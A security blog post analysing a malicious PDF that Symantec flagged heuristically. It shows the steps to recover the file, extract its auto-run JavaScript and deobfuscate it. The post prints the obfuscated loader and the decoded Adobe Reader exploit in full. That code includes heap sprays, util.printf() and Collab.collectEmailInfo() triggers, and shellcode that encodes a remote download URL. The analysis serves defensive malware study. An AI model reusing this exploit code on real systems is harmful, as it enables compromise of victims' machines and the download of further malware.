From Bloodhound to Acrobat JS
Walk with me. Let me rap unto you a little story about how an AV detection might go. So, your AV makes a good detection on a suspect file. Unbelievable already right? Say it does, but it’s using a heuristics engine and not it’s typical signature definitions.
For Symantec these heuristics are Bloodhound and files that are flagged usually get some name such as ‘Bloodhound.exploit.somenumber’.
So, is this it? Leave it and move on to the next thing that will burn up the day? It doesn’t have to be. Let’s dig deeper.
Symantec comes with a set of “No support” tools. One of the tools to look for is QExtract. With QExtract we can take a .VBN quarantine file and turn it back into the offending file. All we need to do is fire up a VM, reproduce the quarantine file structure and register a few dlls if they aren’t there.
qextract.exe /VBN:quarantinefile.vbn /FILE:output.pdf |
We can go a number of ways with this now, but since the point of all this is the fun we can have with obfuscated scripts in Adobe PDFs we’ll run it through PDFiD from Didier Stevens.
Now, most well-behaved PDFs aren’t loaded with JavaScript and set to the /OpenAction. Our is.
Grabbing the JavaScript is easy thanks to a little app by bobby (of Malzilla fame) called PDF_Streams_Inflater. We can now extract our javascript and end up with a .tmp file loaded with the goods.
var B34l = "1e234v567a89l0"; B34l = B34l.replace(/[+1234567890]/g, ""); var A34l = eval(B34l); var s = "32.102.117.110.99.116.105.111.110.32.112.49.48.51.56.112.67.51.52.108.40.112.49.48...//quite a bit more ASCII codes ".replace(/[A-Za-z]/g,function (c){return String.fromCharCode((((c = c.charCodeAt(0)) & 223) - 52) % 26 + (c & 32) + 65);}).split("."); var B34l = ""; for (var i=0; i |
You can almost see the first ‘eval’ right away and can tell that we are going to do some conversion before executing. BTW: uSQXcfcd2 is the function that is called in /OpenAction.
Knowing this, we can now do a decode using Malzilla and modifying the function at the bottom to eval directly.
Now things are starting to take shape, plus from the screenshot above, we can tell that there is a high likelihood that this PDF contains a heap spray (%u0c0c0c0c) and likely exploits the Collab.collectEmailInfo() vulnerability. It’s still a little obfuscated, but we’re most of the way there. What else?
After a little formatting and variable/function renaming we see this snippet:
// Check that the Major version is 8 and minor is 1.2 // If it is, we'll exploit the user with the util.printf() overflow vuln. Bugtraq ID: 30035 if (VersionNumberArray[0] == 8 && VersionNumberArray[1] == 1 && VersionNumberArray[2] == 2) { var PossibleShellcode1 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u7065%u7861%u6B65%u642D%u6D6F%u6961%u2E6E%u6E63%u702F%u6261%u2F6C%u7266%u6565%u6C61%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u317C%u3933%u372E%u2E38%u3432%u2E37%u0031"); var HeapSprayChars = unescape("%u0A0A%u0A0A"); var Twenty = 20; var NumVarLengthPlus20 = Twenty+PossibleShellcode1.length; while (HeapSprayChars.length < NumVarLengthPlus20) HeapSprayChars += HeapSprayChars; var SubStr1ResultOfFirstFunction = FirstFunction.substring(0, NumVarLengthPlus20); var SubStr2ResultOfFirstFunction = FirstFunction.substring(0, HeapSprayChars.length - NumVarLengthPlus20); while (SubStr2ResultOfFirstFunction.length + NumVarLengthPlus20 < 0x60000) SubStr2ResultOfFirstFunction=SubStr2ResultOfFirstFunction+SubStr2ResultOfFirstFunction+SubStr1ResultOfFirstFunction; var ArrayVar2 = new Array(); for (i = 0; i < 1200; i++) { ArrayVar2[i] = SubStr2ResultOfFirstFunction + PossibleShellcode1 } var StringVarGen2ndFunc = 12 + SecondFunction(18, 9) + SecondFunction(276, 8); var SmokeArgForUtilPrintf = "%45000f"; util.printf(SmokeArgForUtilPrintf,StringVarGen2ndFunc); } // If it's a different version we'll exploit the user with the collectEmailInfo vulnerability CVE-2007-5659 else { var PossibleShellcode1 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u7065%u7861%u6B65%u642D%u6D6F%u6961%u2E6E%u6E63%u702F%u6261%u2F6C%u7266%u6565%u6C61%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u317C%u3933%u372E%u2E38%u3432%u2E37%u0031"); var HeapSprayChars = "0x0c0c0c0c"; var BlockSizeChars = "0x400000"; var MyNewArray = new Array(); var StrMovedHeapSprayChars = HeapSprayChars; var StrMovedBlockSizeChars = BlockSizeChars; var ShellcodeLengthTimes2 = PossibleShellcode1.length * 2; var Arg2Func1 = StrMovedBlockSizeChars - (ShellcodeLengthTimes2+0x38); var VarNops = "%u9090%u9090"; var Arg1Func1 = unescape(VarNops); Arg1Func1 = FirstFunction(Arg1Func1, Arg2Func1); var SubStr1ResultOfFirstFunction = (StrMovedHeapSprayChars - BlockSizeChars)/StrMovedBlockSizeChars; // Spray the heap with nops + shellcode for (var i=0;i< 44952) i += i; this.collabStore = Collab.collectEmailInfo({subj: "",msg: i}); } |
So now the everything is coming together, the attacker is actually chaining the util.printf() and Collab.collectEmailInfo() exploits into one file and using the application version to decide which one gets hit! Sort of an Adobe JS AutoPWN. (Doesn’t seem to be necessary as I believe that the util.printf() works on several earlier versions, maybe collectEmailInfo() reaches further back?).
Anything else? Well, reversing the payload seems like a real bitch in my mind. That said, I’m thinking we might be able to coax some info out of it by slaming the bytes into a barebones .c shellcode test template, compiling and firing it up to CWSandbox or running through ZeroWine. Haven’t tested that though.
So, we didn’t get any wicked bad-ass 0-day out of that little exercise, but we did see the countryside. Maybe tomorrow. Keep hacking!


